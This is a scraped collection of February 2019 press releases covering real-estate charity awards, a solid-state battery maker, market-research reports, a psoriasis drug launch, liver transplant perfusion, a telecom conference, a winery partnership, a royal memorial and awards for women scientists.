"We are incredibly proud of the cumulative impact that Good Neighbors have made in the U.S. and across the globe for two decades," says NAR President John Smaby, a second-generation REALTOR from Edina, Minnesota and broker at Edina Realty. "They are a small portion of the 'army' of Realtors who give their time and talent in virtually every American town and city to help people have a better quality of life."

"Without the Good Neighbor Award, we would still be packing boxes from our home," says 2010 Good Neighbor Award Winner Wendy Rocca, broker with Keller Williams, Newton, Massachusetts, and founder of Operation American Soldier, which has shipped 35,000 care packages to American troops deployed overseas.

"The award helped us secure a location and receive donations from Realtors and lenders around the country. NAR's Good Neighbor Award was the catalyst for everything we have accomplished."

In 20 years of the Good Neighbor Awards program:

$1.3 million has been granted to Realtor  -led nonprofits.

has been granted to Realtor -led nonprofits. 200+ nonprofit organizations have been funded.

Good Neighbors' impact has been felt in 40 U.S. states, Puerto Rico and 15 other countries around the world.

and 15 other countries around the world. Good Neighbors have raised hundreds of millions of dollars to help people in need and volunteer more than 60,000 hours each year.

More than 4,000 Realtors  have applied for NAR's Good Neighbor Award.

have applied for NAR's Good Neighbor Award. When the 2019 honorees are named in August, 200 Realtors  will have received the award. That number does not include the growing number of state and local Realtor  associations that now recognize their own Good Neighbors every year as well.

Good Neighbor winners are outstanding volunteers by any measure. On average, they have led a nonprofit for more than a decade and have either founded a charitable organization to respond to a need or have made an exceptional impact as the leader of an existing nonprofit. Good Neighbor stories often capture national attention, appearing in such prominent media as CNN Heroes, 60 Minutes, NBC Making a Difference, People magazine, The Washington Post, and Fortune.

"We are more than Realtors who simply sell houses and then go home. We invest in our communities, and because we work with all kinds of people we are at an advantage to see where the needs are," says 2018 Good Neighbor Necia Freeman, Old Colony Realtors, Huntington, West Virginia, who founded Backpacks & Brown Bags to reduce the pains of poverty and opioid addiction. "The Good Neighbor Award encourages us to continue to make a difference where we live and work."

The 2019 Good Neighbor Award Call for Entries is open now. Ten finalists will be announced in August and the public is invited to vote for their Web Choice Favorite, the winners of which will receive bonus grant money. In 2019, the five Good Neighbor Award winners will be honored in San Francisco, California, during NAR's annual Realtors Conference & Expo. The entry deadline is May 10. Go to nar.realtor/gna and click "Nominate" for more information and the entry form.

The Good Neighbor Awards is funded by primary sponsor realtor.com and Wells Fargo Home Lending.

realtor.com, the Home of Home Search, offers an extensive inventory of for-sale and rental listings, and access to information, tools and professional expertise that help people move confidently through every step of their home journey. It pioneered the world of digital real estate 20 years ago, and today is the trusted resource for home buyers, sellers and dreamers by making all things home simple, efficient and enjoyable. Realtor.com is operated by News Corp subsidiary Move, Inc. under a perpetual license from the National Association of REALTORS. For more information, visit realtor.com.

Wells Fargo Home Lending is one of the nation's leading originators and the leading servicer of residential mortgages, offering home loans to consumers through the country's largest network of mortgage locations and bank branches, online, and via phone. With more than 4,400 Home Mortgage Consultants across the country, expanded digital capabilities, and products and programs for today's market, Wells Fargo is committed to meeting Realtor expectations and homebuyer needs. Focused on a culture of caring for communities, Wells Fargo is a proud sponsor of both the Good Neighbor Awards and Volunteering Works, both of which recognize the extraordinary contributions made by Realtors in the communities where we, together, live and serve.

The National Association of Realtors is America's largest trade association, representing over 1.3 million members involved in all aspects of the residential and commercial real estate industries.

Information about NAR is available at www.nar.realtor . This and other news releases are posted in the newsroom in the "About NAR" tab.

SOURCE National Association of Realtors

Related Links

http://www.realtor.org

TAIPEI, Taiwan, Feb. 12, 2019 /PRNewswire/ -- As a rapidly emerging pioneer of mass production of solid-state lithium ceramic battery, ProLogium has delivered another breakthrough this year. After winning the distinguished honor of innovation award by its EV solid-state battery pack in CES early this year, ProLogium Corporation is again listed among the top three winners of Edison Awards announced on February 10. This is an indication of the innovation and R&D capability of ProLogium.

Established in 1987 in memory of the spirit of exploration and innovation of US inventor Thomas Alva Edison (1847-1931), Edison Award has become one of the greatest honors for global technology industries in the field of innovation and technology. It is known as the "Oscar of Innovation" in the industry. The technology leaders in the industry, such as Apple, Tesla, GE, Lockheed Martin, have all been the winners of such awards.

How can there be any innovation of lithium battery?

Attentions have been drawn to various sectors of EV industry, such as whole vehicle, self-driving system, Internet of Vehicles, and EIC system. Lithium battery is a kind of fundamental chemical technology which has been invented for more than 40 years, and on average there will be one technical progress every 10 years. It is not exactly an "Advanced Technology". So how can ProLogium Corporation be recognized by various innovation awards among all those front-end technology products?

As a matter of fact, with battery being a fundamental science technology, it has significant impact on the whole vehicle performance, such as safety and mileage, thus it is extremely important to the development of EV. However, the poor stability of polymer electrolyte of common lithium battery has led to numerous spontaneous combustion accidents of EV car, thus restricting the utilization of cathode and anode materials and stopping the progress of energy density. Therefore, the focus of this industry is on figuring out how to make a battery which is safe with high energy density. And this is why ProLogium, the only company in the world with the capability of mass production of solid-state lithium ceramic battery, becomes the industrial benchmark and the hot topic of investment sector.

On top of that, in addition to successful mass production of solid-state battery, ProLogium is the first company to integrate the battery pack with BiPolar+ technology and the mechanism tailor made for solid-state battery, thus creating a solution completely different from the structure of conventional battery pack. It has greatly simplified the cooling system, connection wires, connectors, and protection mechanism of battery pack to increase the space utilization rate of battery cell (also known as "assembly efficiency") to 75%, which is 35% higher than conventional battery pack.

As a result, the volume of battery pack is reduced to 50% of conventional battery pack, and the cost is reduced by 30%. This means that the driving distance of electric vehicle could be multiplied. If the range issue can be solved, EV can be a better replacement for gasoline car, and the popularization of EV can be accelerated.

Currently the samples of ProLogium's solid-state battery have been sent to many car makers in the world and tested for the planning of cooperation. The sample car will be introduced in Q4 this year.

ProLogium will attend the award ceremony of Edison Award in New York World Trade Center on April 4 this year to exhibit the solid-state EV battery pack and to announce to the world that the era of next generation power battery has arrived.

To learn more about ProLogium, visit: http://www.prologium.com/

Media Contact:

Abby Kuo

+886-3-4521991#18803

[email protected]

SOURCE ProLogium Technology

Related Links

http://www.prologium.com

ROCKVILLE, Maryland, Feb. 13, 2019 /PRNewswire/ -- Fact.MR has carefully examined the global rough terrain (RT) crane market to present data through an informative research study. This study published on the online portal is titled "Rough Terrain Crane Market Forecast, Trend Analysis & Competition Tracking - Global Market Insights 2018 to 2027", which highlights the growing demand as well as sales revenue generated from different geographical locations. Furthermore, the oil & gas industry has been the foremost sector that is steering the global rough terrain crane market with prominent statistics.

According to Fact.MR valuation, more than 4,700 units of rough terrain cranes were sold in 2018, with the market showcasing a steady growth at 3.7% Y-o-Y in 2018. This impressive growth trend experienced in the rough terrain (RT) crane market can be credited to several factors including constant course of construction projects in the pipeline, advancing landscape of rough terrain crane rental services as well as demand in compound industries ranging from government projects to civil constructions.

Request For Sample Report- https://www.factmr.com/connectus/sample?flag=S&rep_id=2205

New Fleet Introduction Enhances RT Crane Rental Service Landscape

When it comes to renting and owning, the diverse end-users of RT cranes deliver a greater inclination for rental services as a result of its cost-intensive nature of the product. In addition, construction activities primarily require temporary equipment options in which rough terrain cranes are used for loading and unloading varying load capacities. It has been noticed that, with the steady demand for cranes and prospects in the rental services landscape, several rental stakeholders have started focusing on their services through the adoption of fresh ways such as the launch of new and proficient fleet.

Oil & Gas Industry to Provide Steady Development Opportunity during the Forecast Period

The rough terrain cranes market will maintain its growth pattern as a result of the rising demand from the oil & gas industry. According to this Fact.MR study, the oil & gas industry acquired close to one third sale of RT cranes in the year 2018. This greater response can be attributed to surging efforts of rental companies as well as original manufactures for the expansion of market share.

Interestingly, the demand for RT cranes across the construction sector is likely to chase the oil & gas industry. In simple terms, improvement in the construction sector at the global level has motivated sales of more than 1080 units in 2018. Furthermore, mounting government stress on renewable energy generation has been marked as the prime factor accountable for the quick growth of RT cranes market concerning wind farms at over 4% Y-o-Y in 2018.

Browse Full Report on Rough Terrain Crane Market with TOC- https://www.factmr.com/report/2205/rough-terrain-crane-market

Japan's Dominance Reaches One Third in the Overall RT Crane Market Share

Based on this smart study, it is has been recorded that Japan, managing the headquarters of the prominent RT crane manufacturers, continued to acquire almost one third of the market share in 2018. The prime manufacturers; namely, Tadano and Kobelco are creating greater strides in the RT cranes market through capacity expansion as well as increasing global footprints. Further, the assessment highlights that APEJ region nearly follows Japan based on the sales of rough terrain cranes. There has been substantial improvements concerning infrastructure development in APEJ nation which has led to upward investments of crane manufacturers.

Have Any Query? Ask Our Industry Expert- https://www.factmr.com/connectus/sample?flag=AE&rep_id=2205

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Automotive Relay Market - Microprocessor based numerical relay is another rapidly evolving type in the automotive relay market, which facilitates flawless communication. Such product innovations need to be leveraged by manufacturers in automotive relay market to attract a larger customer base.

About Fact.MR

Fact.MR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.

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SOURCE Fact.MRADELAIDE, Australia, Feb. 13, 2019 /PRNewswire/ -- Mayne Pharma Group Limited (ASX: MYX) is pleased to announce the launch of LEXETTE (halobetasol propionate) Foam 0.05% in the United States.

LEXETTE, the conditionally-acceptable trade name for halobetasol foam is a new formulation of halobetasol, a potent topical corticosteroid indicated for the treatment of plaque psoriasis in adult patients. LEXETTE received approval from the US Food and Drug Administration (FDA) in May 2018 with three years of marketing exclusivity.

Plaque psoriasis affects approximately 7.5 million Americans with potent topical corticosteroids prescribed to approximately 80% of psoriasis patients diagnosed[1]. LEXETTE is part of the US$600m potent topical corticosteroid market for which 8 million prescriptions are written annually[2].

Mayne Pharma's CEO, Mr. Scott Richards, said: "LEXETTE is an elegant foam formulation that will give psoriasis patents more treatment options. The foam delivery platform has a well-established reputation with dermatologists due to ease of application and lack of greasiness and stickiness, especially in hair-bearing areas and under clothing. LEXETTE will be supported by our existing psoriasis-focused sales team who will now be able to offer a potent steroid along with steroid-free SORILUX Foam, which are both commonly used in psoriasis treatment protocols."

Mayne Pharma directly markets more than 60 products in the US including four branded dermatology products FABIOR (tazarotene) Foam, SORILUX (calcipotriene) Foam, DORYX MPC (doxycycline hyclate) delayed-release tablets and LEXETTE (halobetasol propionate) Foam. The Company recently received approval for TOLSURA (SUBA-itraconazole) capsules used to treat certain fungal infections which it also recently launched.

[1] American Academy of Dermatology Association, Company sponsored primary research [2] IQVIA NSP and TRx MAT Nov 2018

For further information contact:

Lisa Pendlebury

+61 419 548 434

[email protected]

About Mayne Pharma

At Mayne Pharma we believe that everyone deserves medicines that are better, safe and more affordable. That's why our people are determined to create innovative products and services for our changing world.

Mayne Pharma is an ASX-listed specialty pharmaceutical company focused on applying its drug delivery expertise to commercialize branded and generic pharmaceuticals. Mayne Pharma also provides contract development and manufacturing services to more than 100 clients worldwide.

Mayne Pharma has a 30-year track record of innovation and success in developing new oral drug delivery systems and these technologies have been successfully commercialized in numerous products that have been marketed around the world.

Mayne Pharma has two product development and manufacturing facilities based in Salisbury, Australia and Greenville, USA with expertise in formulation of complex oral and topical dose forms including potent compounds, modified-release products and inherently unstable compounds.

About Lexette (halobetasol propionate) foam, 0.05%

LEXETTE (halobetasol propionate) Foam is a potent corticosteroid indicated for the topical treatment of plaque psoriasis in patients eighteen years of age and older. The proposed trade name LEXETTE, is conditionally acceptable to the FDA.

LEXETTE Foam was evaluated for the treatment of moderate to severe plaque psoriasis in two multicentre, randomised, double-blind, vehicle-controlled studies. These studies were conducted in 560 subjects with plaque psoriasis involving between 2% and 12% body surface area. A foam vehicle can have many benefits including being absorbed quickly without residue or greasiness and being easy to apply to both hair-bearing and non-hair bearing skin.

Important Safety Information

LEXETTE Foam is a topical corticosteroid that has been shown to suppress the hypothalamic-pituitary-adrenal (HPA) axis. Systemic effects of topical corticosteroids may include reversible HPA axis suppression, with the potential for glucocorticosteroid insufficiency. This may occur during treatment or upon withdrawal of treatment of the topical corticosteroid. The potential for hypothalamic-pituitary adrenal (HPA) suppression with LEXETTE Foam was evaluated in a study of 25 adult subjects with moderate to severe plaque psoriasis involving 15% of their body surface area. LEXETTE Foam produced laboratory evidence of HPA axis suppression when used twice daily for two weeks in 6 out of 25 (24%) adult subjects with plaque psoriasis. Recovery of HPA axis function was generally prompt with the discontinuation of treatment.

Systemic effects of topical corticosteroids may also include Cushing's syndrome, hyperglycemia, and glucosuria. Use of more than one corticosteroid-containing product at the same time may increase the total systemic exposure to topical corticosteroids.

Local adverse reactions from topical corticosteroids may include atrophy, striae, telangiectasias, burning, itching, irritation, dryness, folliculitis, acneiform eruptions, hypopigmentation, perioral dermatitis, allergic contact dermatitis, secondary infection, and miliaria. These may be more likely to occur with occlusive use, prolonged use, or use of higher potency corticosteroids, including LEXETTE Foam. Some local adverse reactions may be irreversible. Use of topical corticosteroids may increase the risk of posterior subcapsular cataracts and glaucoma.

To report SUSPECTED ADVERSE REACTIONS, contact at Mayne Pharma at 1-844-825-8500 or FDA at 1 800-FDA-1088 or www.fda.gov/medwatch.

For more information about LEXETTE, please refer to the prescribing information available here.



SOURCE Mayne Pharma

Related Links

www.maynepharma.com

SOUDERTON, Pa. and GRONINGEN, Netherlands, Feb. 13, 2019 /PRNewswire/ -- Hemoglobin Oxygen Therapeutics LLC (HbO2 Therapeutics), a biopharmaceutical company specializing in oxygen therapeutics, today announced results from a pilot study on liver transplants conducted at the Netherlands largest transplantation center, the University Medical Center in Groningen (UMCG) under the direction of the lead investigator Professor Robert Porte, Head of Hepatobiliary Surgery and Liver Transplantation.

The study involved donor livers that were deemed unsuitable for regular transplantation. These organs were subjected to an innovative machine perfusion technology (a simulation of how the liver works in the body) using Hemopure, a novel synthetic oxygen solution that increases the oxygen-carrying capacity of blood. Given the solution's ability to safely transport oxygen from much colder temperatures to body heat, initially rejected livers appear more likely to respond positively, becoming suitable for transplantation.

The results showed that 16 livers that were initially rejected by all transplant centers in The Netherlands, including UMCG, underwent machine perfusion to assess the organ's viability at 37C. Following viability testing including the ability to produce bile, ten donor livers were successfully reconditioned using Hemopure solution. A further benefit of applying this solution included the avoidance of any blood products during the perfusion process. HbO2 Therapeutics is pleased to announce 100% transplant and survival rates in the study including those patients receiving "refurbished" livers treated with Hemopure.

"We are thrilled to be collaborating with UMCG given that this is the first of its kind study with important variables tested in real time including individual liver differences, overall liver viability, and Hemopure perfusion," said Zafiris Zafirelis, CEO of HbO2 Therapeutics. "The United Network for Organ Sharing (UNOS) estimates that over 13,700 people are currently waiting for a liver transplant nationwide, yet only about 8,250 transplants performed in 2018. Given the significant need to increase donor transplants, the key takeaway from this pilot study indicates that discarded donor livers could be refurbished with the help of Hemopure."

About Hemoglobin Oxygen Therapeutics LLC

HbO2 Therapeutics is a clinical-stage biotechnology company developing a proprietary technology platform for oxygen-carrying solutions that increase the amount of oxygen transported throughout the body.

HbO2 Therapeutics two lead programs are Oxyglobin [hemoglobin glutamer - 200 (bovine)] and Hemopure [hemoglobin glutamer - 250 (bovine)] indicated for veterinary and human use, respectively.

Oxyglobin is the only oxygen-carrying solution approved by the U.S. Food and Drug Administration (FDA) and the European Medicines Agency (EMA) to treat all cause canine anemia.

Hemopure is approved in South Africa to treat anemia in adult surgical patients. In the US, Hemopure is only available through the FDA expanded access program to qualifying patients for whom blood transfusion is not an option, and who have exhausted all other treatments. Blood transfusion may not be an option due to religious beliefs, or because no compatible blood is available for a patient needing a transfusion.

Hemopure is also under development for other uses, including as a perfusion solution for other organs prior to transplantation. For more information, please visit www.hbo2therapeutics.com.

Contact Details

Sunny Uberoi

917.747.2018

[email protected]

SOURCE Hemoglobin Oxygen Therapeutics

Related Links

http://hbo2therapeutics.com/

CHICAGO, Feb. 13, 2019 /PRNewswire/ -- According to the new research report "Gelcoat Market by Resin Type (Polyester, Vinyl Ester, Epoxy), End Use Industry (Marine, Transportation, Construction, Wind Energy), Region (North America, Asia Pacific, Europe, Middle East & Africa and Latin America)-Global Forecast to 2024", published by MarketsandMarkets, The Gelcoat Market is expected to grow from USD 1.2 billion in 2019 to USD 1.7 billion by 2024, at a CAGR of 8.0% during the forecast period. The Gelcoat Market is witnessing a significant growth because of the growing demand from various industries such as marine, transportation, and wind energy. Gelcoat provides various properties such as high gloss, UV resistance, hydrolysis or osmosis, and resistance to corrosion, water, abrasion, and chemicals to the composite molds or parts.

Download PDF Brochure:

https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=164224381

Browse in-depth TOC on "Gelcoat Market"

92  Tables

43  Figures

130  Pages

View detailed Table of Content here:

https://www.marketsandmarkets.com/Market-Reports/gelcoat-market-164224381.html

The marine end use segment accounted for the largest share of the Gelcoat Market in 2019.

Marine is an important end-use industry of glass fiber reinforced plastics as entire decks and complete ship hulls for powerboats or sailing/motor yachts are entirely made up of high-quality glass fiber reinforced plastics. The use of FRP in this industry results in the usage of gelcoat that provides excellent aesthetic appearance, good corrosion resistance, and smooth and vivid surface. Companies have also realized the immense potential of gelcoat that is used in the marine industry. For instance, in November 2018, Ashland Inc. launched a new gelcoat named Maxgaurd EZM for usage in marine applications. The gelcoat offers easy application in molds and good weathering performance. It possesses high resistance to UV rays and good blister resistance.

Polyester is the largest resin used for gelcoat manufacturing in 2019.

Polyester resin is widely used for gelcoat. In terms of value and volume, the polyester resin-based Gelcoat Market accounted for a major share of the overall market in 2019. Polyester resins are less expensive and possess properties such as good corrosion resistance, fast curing, durability, tolerance to temperature, and low thermal expansion. Polyester resin used in gelcoats offers durability for molds and parts.

APAC is expected to be the largest market for gelcoat during the forecast period.

APAC is the largest Gelcoat Market, in terms of both value and volume. China, India, and Japan are the fast-growing economies that contribute to the growth of the market in the region. The booming wind energy industry and the transportation industry are bolstering the market for gelcoat in the region.

The major players in the Gelcoat Market include Ineos Enterprise (UK), Bufa Composite Systems GmbH (Germany), HK Research Corporation (US), Allnex (Germany), Scott Bader Company (UK), Poliya Composites Resins and Polymers (Turkey), Interplastic Corporation (US), Alpha Owens Corning (AOC) Aliancys (US), Polynt-Reichhold Group (US), and Turkuaz Polyester (Turkey).

Get 10% Free Customization on this Report:

https://www.marketsandmarkets.com/requestCustomizationNew.asp?id=164224381

Browse Adjacent Markets: Coatings Adhesives Sealants and Elastomers Market Research Reports & Consulting

Related Reports:

Composites Market by Fiber Type (Glass, Carbon), Resin Type (Thermoset, Thermoplastic), Manufacturing Process (Layup, Filament Winding, Pultrusion), Application (Transportation, Aerospace & Defense, Wind Energy), Region - Global Forecast to 2022

Composite Resin Market by Resin Type (Thermoset and Thermoplastic), by Manufacturing Process (Layup, Injection Molding, Filament Winding, Pultrusion, Compression Molding, RTM, and Others), by Application & by Region - Global Forecasts to 2020

Epoxy Coatings Market by Technology (Solvent borne, Waterborne, and Powder-Based) and Application (Construction, Transportation, General Industrial, and Others) - Forecast to 2021

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MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets.

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MarketsandMarkets INC.

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SOURCE MarketsandMarketsThis year's conference theme is "5G Smart Cities Enabled by Fiber" and will offer an ideal opportunity to explore how the Asia Pacific telecom industry is continuing its deployment of FTTx and deep fiber to the network edge as a converged platform, from which Smart Cities and 5G networks can be built.

The conference attracts over 500 senior executives from the region's telecom regulators, policy makers, network operators, municipal leaders and solutions providers; and offers an unrivalled opportunity to network and secure new business with hard-to-reach decision-makers.

Wuhan offers a fitting context for this year's focus, representing many of the world's leading optical communications companies and being synonymous with the latest advances in telecom technologies. The conference will open with keynote presentations from China's principal policy makers as well as leading telecom network operators.

Now in its 14th year, following great success in the Philippines in 2018, FTTH APAC Conference 2019 will see the continued collaboration between the FTTH Council Asia-Pacific and CRU Events.

Venkatesan Babu, President, FTTH Council Asia-Pacific comments "The 2019 agenda will address the challenges and opportunities being faced by telecom regulators and network operators across the APAC region. Sessions will bring the region's network operators and thought leaders together to share their strategic insights into the 5G roll out; explore the FTTx and other deep fiber deployment success stories; and highlight key investment opportunities in the region for FTTH deployment. Municipal leaders, policymakers and technology companies will also discuss the key factors influencing Smart City enablement."

Nicola Coslett, CEO of CRU Events added "We are delighted to continue our collaboration with the FTTH Council Asia-Pacific, working on such a prestigious industry-leading event. CRU is a global authority on the optical fiber and cable markets and we have run the World Optical Fiber & Cable conference in China for past four years.

Nicola added "China's network operators have achieved a remarkably high penetration with fiber-based services. In a country of 397 million households, 365 million premises are connected to Fiber To The Home (FTTH) or equivalent networks, with the bulk having been connected in the last five years.

The Asia-Pacific region, with China at the forefront, are driving world demand, making this event essential for understanding the impact on both international and local markets" said Ms. Coslett.

The 14th FTTH APAC Conference will take place on 15-17 April 2019 at the Hilton Wuhan Optics Valley Hotel in Wuhan, China.

Please visit http://bit.ly/2N471y8 for more details and to book your place.



For press invitations please contact CRU Events.



About FTTH Council Asia-Pacific

The FTTH Council Asia-Pacific is a non-profit organization established in 2005 in Singapore. The mission of the FTTH Council Asia-Pacific is to accelerate the adoption of optical fiber access, by all consumers and organizations that provide and use broadband services, through factually based Education and Promotion, in order to enhance the sustainable quality of life. The Council brings together industry stakeholders, government representatives and developers and aims to position itself as the major resource base for optical fiber access in the region.

About CRU

CRU offers unrivalled business intelligence on the global metals, mining and fertilizer industries through market analysis, price assessments, consultancy and events.

In 2019, CRU celebrates 50 years in business. Over this time, we have built up a reputation for integrity, reliability, independence and authority with customers across mining, metals and fertilizers.

Since our foundation in 1969, we have consistently invested in primary research and robust methodologies, and developed expert teams in key locations worldwide, including in hard-to-reach markets such as China.

CRU employs over 250 experts and has more than 10 offices around the world, in Europe, the Americas, China, Asia and Australia  our office in Beijing opened in 2004.

CRU events are well respected for attracting the most senior level professionals and providing valuable networking opportunities throughout the year for global audiences. For more information visit www.crugroup.com/events

For further information and interviews, please contact:

Kay Beloe, CRU Events, Office: +44-(0)-20-7903-2091, Email: [email protected]

SOURCE CRUSALENTO, Italy and NEW YORK, Feb. 13, 2019 /PRNewswire/ -- The Cantele Winery  a third-generation, family-owned and operated estate in Puglia  is proud to announce its new partnership with the premier importer of fine Italian wines in the U.S., Winebow.

Since its founding in 1979 by the current generation's grandfather Giovanni Battista, Cantele's award-winning and highly rated wines have been a benchmark in Italian and Pugliese winemaking for 40 years. One of Italy's most esteemed and beloved brands, Cantele sells its wines throughout the world, including northern Europe, Asia, and the Americas.

Founded in 1980, Winebow has reshaped the Italian wine market in the U.S. by introducing some of Italy's most iconic wineries to American restaurateurs, retailers, and consumers. Today, its distribution network is considered the gold standard among Italian wine trade members and observers.

"We couldn't be more thrilled about this new adventure," says export director Paolo Cantele, who has represented his family's wines in the U.S. for more than 10 years. "There's no doubt in our minds that Winebow has the prestige, the national reach, and the sales team that we need to continue to build our brand in north America."

About Cantele:

The Cantele estate is a third-generation family-owned and run winery founded by the current generation's grandparents, immigrants from the north who settled in Puglia's Salento peninsula after WWII. Known for its pioneering work with Chardonnay and its passion for native grapes Negroamaro and Primitivo, Cantele delivers high-quality, value-driven wines.

Salento is renowned for high-quality wine thanks to abundant ventilation, temperate weather, extreme diurnal shifts in summer, and limestone-rich soils. Over the last two decades, Cantele has implemented a cutting-edge "minimal intervention" system in its vineyards, thus ensuring freshness and varietal expression.

For media inquiries, please contact Jeremy Parzen at (917) 405-3426 or [email protected].

SOURCE CanteleLeading world figures, including US President Bill Clinton, UK Prime Minister John Major, HRH The Prince of Wales and HM King Felipe of Spain were interviewed for the event or provided messages. These contributions were incorporated within a unique film which was shown for the first time at the event, and which will be distributed widely later this month. The film contained the following quotes:

President Bill Clinton: "We saw the world the same way. We weren't threatened by people who were different from us. Everyone trusted him and respected him. He just had an incredible gift. The people of Jordan were lucky to have him as a King and the world was lucky to have him as a peacemaker."

HRH The Prince of Wales: "King Hussein's personal courage, cool head and sustained fortitude was dedicated to the service of his nation and to the wider good of mankind."

Sir Jackie Stewart: "One of the deepest relationships I've ever had outside of my own family. He was a great man. I mean the greatest man I think I've ever met."

Prince Mangosuthu Buthelezi: "The important thing about his life is reconciliation. People who didn't speak to each other were brought together by him. That takes remarkable courage. The determination and passion with which he pursued peace is his major legacy to humanity."

Sir John Major: "King Hussein renounced any rights to East Jerusalem and to the West Bank. That was a brave decision to take and it put him in a very strong position later to urge for peace. He had a lifelong commitment to peace whatever the risks to himself may be."

HM King Felipe VI of Spain: "King Hussein was an exceptional mediator and peacemaker. A great King, and a good man."

The memorial event, hailed by all who attended as a major success, was organised by the late King's nephew, Saad Kurdi, who also produced the film which reflected on King Hussein's life.

As part of Queen Noor's introduction to the event, she said, "King Hussein understood his primary role to be that of public servant rather than entitled authoritarian. He faced challenges preoccupied him throughout his reign: the well-being of all Jordanians, the volatile regional conflicts that buffeted our country and regularly erupted into wars, and the short term, narrowly self-interested politics of global powers competing for strategic advantage in the Middle East."

She continued, "He achieved remarkable progress in modernizing a conservative developing society from a pre-industrial state to a modern post-industrial state in under two generationsaccomplishing this through promoting universal education, women's empowerment, and a participatory and pluralistic system of governance."

For further information:

Saad Kurdi

Telephone: +44(0)7711-131307

Email: mec@sant.ox.ac.uk

SOURCE The Middle East CentreEarly-career researchers living and working in Bangladesh, Bolivia, the Gambia, Nepal and Palestine have been recognized for their work in the biological sciences

WASHINGTON, Feb. 13, 2019 /PRNewswire/ --

Five researchers have been named winners of the 2019 OWSD-Elsevier Foundation Awards for Early-Career Women Scientists in the Developing World for their research in the biological sciences. The winning scholars from Bangladesh, Bolivia, the Gambia, Nepal and Palestine are being recognized for their accomplishments in environmental microbiology, ethnobotany, clinical pediatrics and epidemiology. The prize also acknowledges the scientists' commitment to leading and mentoring young scientists, and to improving lives and livelihoods in their communities and regions.

"These scientists are performing ground-breaking international-level science, often in circumstances where the deck has been stacked against them," said Jennifer Thomson, President of the Organization for Women in Science for the Developing World (OWSD). "They deserve to be honored and celebrated for their dedication not only to their research, but to creating a better world for people to live in."

The five researchers are:

Tabassum Mumtaz of the Bangladesh Atomic Energy Commission ( Asia Pacific region); in environmental microbiology;

of the Bangladesh Atomic Energy Commission ( region); in environmental microbiology; Uduak Okomo of the London School of Hygiene & Tropical Medicine in the Gambia ( Africa region); in pediatrics and epidemiology;

( region); in pediatrics and epidemiology; Narel Paniagua-Zambrana of the National Herbarium of Bolivia and Universidad Mayor de San Andres ( Latin America and the Caribbean region); in ethnobotany;

and Universidad Mayor de San Andres ( and the region); in ethnobotany; Tista Prasai Joshi of the Nepal Academy of Science and Technology ( Asia Pacific region); in environmental microbiology; and

region); in environmental microbiology; and Amira Shaheen of An-Najah National University in Palestine (Arab region); in epidemiology.

"Each year, it is inspiring to find out just how much of the research undertaken by our winning scientists focuses on crucial challenges addressed by the UN Sustainable Development Goals: creating sustainable bioplastics in Bangladesh; preserving traditional plant knowledge in Bolivia; reducing disease transmission to newborns in Africa; removing arsenic from water in Nepal; and investigating the health care system response to gender violence in Palestine," said Ylann Schemm, Director of the Elsevier Foundation. "In addition, working with OWSD and the AAAS to celebrate the success of these talented women scientists is both an honor and a joy."

First awarded in 2011, the awards are given in partnership by OWSD and the Elsevier Foundation . OWSD chairs a panel of distinguished scientists to select the winners, and the Elsevier Foundation supports a cash prize for each winner of USD $5,000 and an all-expenses-paid trip to attend the annual meeting of the American Association for the Advancement of Science (AAAS), this year in Washington, D.C., February 13-17, 2019. The five winners will be honored on February 16 at a special breakfast ceremony during the AAAS meeting.

Past OWSD-Elsevier Foundation Award winners have been recognized by their country's presidents and celebrated by local, national and international media. They have received other prestigious awards and fellowships including L'OREAL-UNESCO For Women in Science Fellowships and the British Council Award.

Read more:

About the Awards: https://owsd.net/awards/awards

About recent Awardees:

2018

o Press release: https://bit.ly/2GdSKdy

o Interviews with awardees Germaine Djuidje Kenmoe: https://bit.ly/2Hd8xNF; and Dawn Iona Fox: https://bit.ly/2GPW8gd

2017

o Press release: https://bit.ly/2M0Khye

o Article in Elsevier Connect: https://bit.ly/2mJKEE1

Notes for editors

The awards ceremony will take place on February 16, 2019 during the Minority and Women Scientists and Engineers Networking Breakfast from 7:00-9:00 AM in Washington, D.C. at the American Association for the Advancement of Science (AAAS) Annual Meeting.

Reporters wishing to attend the ceremony may contact Domiziana Francescon at +31-610215901 or d.francescon@elsevier.com.

The 2019 winners are:

Tabassum Mumtaz , Bangladesh in Environmental microbiology: For her work on bioconversion of waste byproducts and biomass into more environmentally-friendly compounds. Dr. Mumtaz cultivates bacteria that can turn wastewater and food waste, such as effluents from palm oil production, into sustainable bioplastics. "Winning the OWSD-Elsevier Foundation Award is like receiving an Oscar to me," said Dr. Mumtaz. "This will be a tremendous inspiration to me and to all women scientists in Bangladesh and in the Asia-Pacific region, to dream big and to do research beneficial to the environment and society."

Uduak Okomo, the Gambia in Paediatrics and epidemiology: For her work in defining routes of transmission of infections to neonates. Dr. Okomo's research has pointed to hospital-acquired transmission rather than maternal or community acquisition, which contributes to improved control of infections and better planning of health systems and resource distribution, thereby reducing maternal, newborn and child mortality. "Receiving the OWSD-Elsevier Foundation Award is an encouragement to continue my work to improve maternal and newborn survival in Sub-Saharan Africa," said Dr. Okomo. "I hope this award inspires African women scientists in global health to become scientific leaders in their spheres of influence and gives them the courage and confidence to tackle Africa's challenges in global health and development."

Narel Paniagua-Zambrana, Bolivia in Ethnobotany: For her work documenting and protecting traditional knowledge of plant use by indigenous populations and local communities, especially in Bolivia . Her work provides local populations with tools to conserve their natural resources and associated traditional knowledge. "Receiving this award makes it possible to highlight the value and importance of making efforts to conserve and protect the traditional knowledge held by the indigenous populations," said Dr. Paniagua-Zambrana. "Local scientific work is not easy, much less in developed countries. This award will allow me to expand my collaboration to make this task easier and more widely shared."

Tista Prasai Joshi, Nepal in Environmental microbiology: For her research in developing novel metal oxide adsorbents to remove harmful organic and inorganic arsenic compounds efficiently from water. Her work to create more economic and environment friendly techniques for water treatment has had a significant impact on public awareness and accountability of drinking water suppliers in Kathmandu . "Receiving this prestigious award has great value in my scientific career," said Dr. Joshi. "Because of this international recognition, I am more confident, accountable, and motivated to continue my research activities to achieve my goal. It will inspire many younger ladies in this region to achieve more in the advancement of sciences."

